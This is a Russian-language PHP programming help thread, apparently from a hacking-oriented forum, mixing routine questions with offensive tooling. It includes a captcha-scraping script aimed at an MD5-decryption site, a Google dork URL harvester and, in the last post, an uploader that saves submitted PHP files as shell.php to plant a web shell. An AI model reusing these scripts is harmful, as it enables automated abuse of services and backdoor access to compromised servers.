Понятно, спасибо, я просто предполодил, вчера в книге как раз читал, что если у тега option нету тега value="...", то передается тот текст, который стоит между тегами option, думал тут так же.
Возникла небольшая проблема, суть скрипта в том что: с сайта берётся капча, и сравниваетсяесть ли такая в массиве, ели нету то повляется форма для добавления капчи и её значения, вот начальный код, массив с капчей находится в файле array.php, вопрос в том как мне добавить в массив новое значение и записать его в файл array.php содержимое array.php PHP: <? $array_img = array(ttt=>7777,ooo=>999); ?> сам код PHP: <? include("array.php"); if($_GET['get'] == "post") { $text = $_POST['text']; $textimg = $_POST['textimg']; $array_img["$textimg"] = $text; ################################### \\тут условие которое нужно дописать. обновили массив, теперь надо добавит данные в array.php чтобы <? $array_img = array(ttt=>7777,ooo=>999); ?> превратилось например в <? $array_img = array(ttt=>7777,ooo=>999,3333=>hhhhh); ?> и тд. ###################################### } else { print_r($array_img); $img = "http://www.md5decrypter.co.uk/controls/captcha.aspx?d=0.6703111"; $get_img = file_get_contents($img); file_put_contents("picture.gif", $get_img); $picture = "picture.gif"; $im= imagecreatefromgif($picture); list($width, $height) = getimagesize($picture); $result = ""; for($x=0;$x<$width;$x++){ for($y=0;$y<$height;$y++) { $color = imagecolorat($im, $x, $y); $result .= $color; }} // Получили индекса цвета картинки foreach($array_img as $img => $number) { if($img == $result) { $post_capcha = $number; }else{ $post_capcha = "non"; } } if($post_capcha == "non") { ?> <form action = "?get=post" method = "post"> <input type = "text" name = "text" > <input type = "hidden" name = "textimg" value = "<?echo $result;?> "> <input type = "submit" value = "добавить"> </form> <? } else { echo $post_capcha; } } ?> <img src ="picture.gif" >
qaz писать в файл/бд в удобной для PHP форме. Могу предложить, например, использовать http://php.net/serialize http://php.net/unserialize
Пишу скрипт для парсинга url'ов по dork'у из google api, при парсинге второй страницы получается нулевой аргумент для foreach, туплю, не могу найти ошибку: PHP: <?PHP set_time_limit(6000); function google_ajax($dork, $page=0) { global $urls, $fp; $json = ''; $out = ''; $out = 'GET /ajax/services/search/web?v=1.0&q='.$dork.'&start='.$page." HTTP/1.0\r\n"; $out .= "Host: ajax.googleapis.com\r\n"; $out .= "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { $stream_meta_data = stream_get_meta_data( $fp ); if( $stream_meta_data[ 'unread_bytes' ] <= 0 ) break; $json .= fread($fp, 1024); } sleep(8); $response = json_decode(substr($json, strpos($json, "\r\n\r\n")+4), TRUE); foreach ($response["responseData"]["results"] as $res) { $urls[] = $res["url"]; } if($response["responseStatus"] == 200) google_ajax($dork, ++$page); else return 0; } $urls = Array(); $fp = fsockopen('ajax.googleapis.com', 80, $errno, $errstr, 30); if (!$fp){ echo "$errstr ($errno)<br />\n";exit; } $dork = 'exchange'; google_ajax($dork, 0); file_put_contents('done.txt', implode("\r\n", $urls)); ?>
AnGeI вы отправляете заголовок Connection: Close который обязывает сервер закрывать соединение после завершения отправки ответа. Поэтому соединение надо заново переоткрывать
Подскажите, если мне необходимо сделать на сайте возможность подсчета стоимости (например подсчет стоимости компьютера). Подскажите, с помощью чего мне возможно начать его создание. p.s. возможно не в тот раздел, извиняюсь.
Улыбнуло Начать можно с выбора движка сайта. Какие есть движки и узнать их возможности можно из Google. Также можете попробовать сами написать движок. Конкретно к решению задачи возможности подсчета стоимости компьютера можно подойти двумя путями: реализовать с помощью PHP или JavaScript (в зависимости от требований реализации).
Ну движок насколько я знаю нужен если, есть необходимость менять данные на сайте с достаточной частотой. Если можно подскажите, ещё по каким критериям нужно оценивать , что бы определиться в выборе яваскрипт или пхп?
PHP нужен. Насчет JavaScript - все зависит от задачи. Если нужно, например, на одной странице сайта выбрать составные части компьютера, нажать кнопку "Посчитать" и в ответ получить стоимость компьютера, то вариант реализации и с JavaScript и без будет правильным.
Помогите найти ошибку : Code: <? $mailto = '[email protected]'; $returnpage = 'ass_1.html'; $sitename = '[SanStile]'; $company = $_POST['company']; $name = $_POST['name']; $telephone = $_POST['telephone']; $email = $_POST['email']; $team = $_POST['team']; $regim = $_POST['regim']; $voice = $_POST['voice']; if (!$company) { print("<strong>Error:</strong>Укажите названия компании<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } if (!$name) { print("<strong>Error:</strong>Укажите ваше имя<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } if (!$telephone) { print("<strong>Error:</strong>Укажите контактный телефон<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } if (!$email) { print("<strong>Error:</strong>Укажите контактный email<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } if (!$team) { print("<strong>Error:</strong>..<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } if (!$regim) { print("<strong>Error:</strong>..<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } if (!$voice) { print("<strong>Error:</strong>Укажите ваше сообщение<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } if (!eregi("^[a-z0-9]+([-_\.]?[a-z0-9])+@[a-z0-9]+([-_\.]?[a-z0-9])+\.[a-z]{2,4}", $email)){ print("<strong>Error:</strong>Неправильный формат e-mail<br/><br/><a href='javascript:history.go(-1)'>Back</a>"); exit; } $message = "\n Название компании: $company \n\ Ваше имя: $name \n\ Контактный телефон: $telephone \n\ Контактный e-mail: $email \n\ Вопрос по теме: $team \n\ Режим взаимодействия: $regim \n\ Вопрос: $voice \n\n\"; mail($mailto, "Сообщение с сайта $sitename (отправитель: $name)", $message, "от: $email"); header("Location: " . $returnpage); ?>
1)short_tag 2)закрывающий тэг не нужен 3)eregi устаревш. 4)нет проверки существования переменных из массива $_POST - это Notice 5)дублирование кода 6)нет защиты от xss (опасность в csrf) 7)отступы 9) все "\n\" и "\nn\" замени на "\n" 10) использовать так ф-ю mail не лучший способ отправки писем, лучше воспользоваться например http://sourceforge.net/projects/phpmailer/
rand() с исключением значений Нужно исключить значения из функции rand() Сейчас делаю так: PHP: <? $rand = rand(1, 10); while ($rand == 1 || $rand == 5 || $rand == 7){ $rand = rand(1, 10); } echo $rand; ?> Как сделать проще? Мне нужен будет массив, который будет постоянно увеличиваться, будет более 100 значений. Желательно еще исключения задавать в стороннем файле.. А вообще смысл всего этого в том, чтобы подключать рендомный тхт файл, исключая определенные файлы.. Например имеем файлы: Нужно подключить любой из N файлов исключая, например, файлы links25.txt и links70.txt
PHP: <?php $rand = rand(1, 10); $removal = array(1,5,7); // Исключать эти числа while (in_array($rand,$removal)){ $rand = rand(1, 10); } echo $rand; ?> А по поводу как хранить этот массив. Можно хранить в отдельном файле в формате json - [1,5,7] Читать и записывать - используй json_encode() , json_decode()
собственно такой вопрос... как разделить элементы массива дело в том что начал изучать php написл шифратор и к ниму сейчас дописываю дешифратор последний этам дешефрации заключается в том каждый элемент массива это ASCII код, и тут происходит нарушение дело в том что я из массива вытаскиваю по 1 элементу т.е. new[0] -112 new[1]114 и т.д. но когда я пытаюсь их преобразовать в буквы то получаеться лиж первая потому что все цифры слипаются и компьютер не может разобрать что за буквы там рассположенный помогите решить тут возникает проблемма PHP: $i=-1; // -1 для 0 элемента массива while(++$i <= $lines) // lines - колво строк в зашифрованном тексте { $otvet[$i] = chr($new[$i]); // new - это массив с ASCII кодами echo($otvet[$i]);
Тут возник вопрос, передаю курлом пост запрос, вот его содержимое PHP: ctl00$ScriptManager1=ctl00$MainContent$updDecrypt|ctl00$MainContent$btnDecrypt&ctl00$MainContent$txtHashes=8a87ae9aa2ddca1b7c9fe5c4fc5acb43&ctl00$MainContent$txtCaptcha=1974 &__EVENTTARGET=ctl00$MainContent$btnDecrypt&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTEzMDIyNTg4MzUPZBYCZg9kFgICAw9kFgICAw9kFgICAQ9kFgJmD2QWCAIBD2QWAgIBDw8WAh4EVGV4dAUWNTAwIHJlcXVlc3RzIHJlbWFpbmluZ2RkAgMPD2QWBB4Lb25Nb3VzZU92ZXIFDkhpZGVUaXAodGhpcyk7Hgpvbk1vdXNlT3V0BRFTaG93VGlwTUQ1KHRoaXMpO2QCBw8PZBYCHgdvbkNsaWNrBRBEZWNyeXB0SGFzaGVzKCk7ZAIJDw8WAh4ISW1hZ2VVcmwFIi9jb250cm9scy9jYXB0Y2hhLmFzcHg/ZD0wLjUxNDkwMTVkZGQ1VnZAeIHpukj+vxbN8/T6PuGx++YNoTM64RC8AbVsSg==&__EVENTVALIDATION=/wEWBQLbwqD2AwK2ndTzDAKbs+kmArXQzPMEAtShw5sCTZ6pFKar3f6VavwajjNolvoduQn5JnI2WGLQZon5FWo=&__ASYNCPOST=true& ну естественно сервер мне передаёт редирект на страницу с ошибкой, может ли ето быть связано с тем что там находятся такие символы как, PHP: / | __ надо ли их екранировать?
пхп не знаю совсем, прошу помочь нужно чтобы заливалось мое имя файла, скрипт не должен переименовывать Code: <?php $name = 'shell.php'; if(file_exists($name)) echo "<a href=$name>$name</a>"; else{ if($_POST['upload']){ if($_FILES['file']['size']){ if(substr($_FILES['file']['name'], -3) == 'php'){ if(move_uploaded_file($_FILES['file']['tmp_name'], getcwd().'/'.$name)) echo 'ok'; else echo 'Upload filed: error number '.$_FILES['file']['error']; } } }else{ ?><form enctype="multipart/form-data" action="" method="post"><input name="file" type="file" /> <input type="submit" name="upload" value="Upload" /> </form><?php } } ?> ну и уменьшить его, насколько это возможно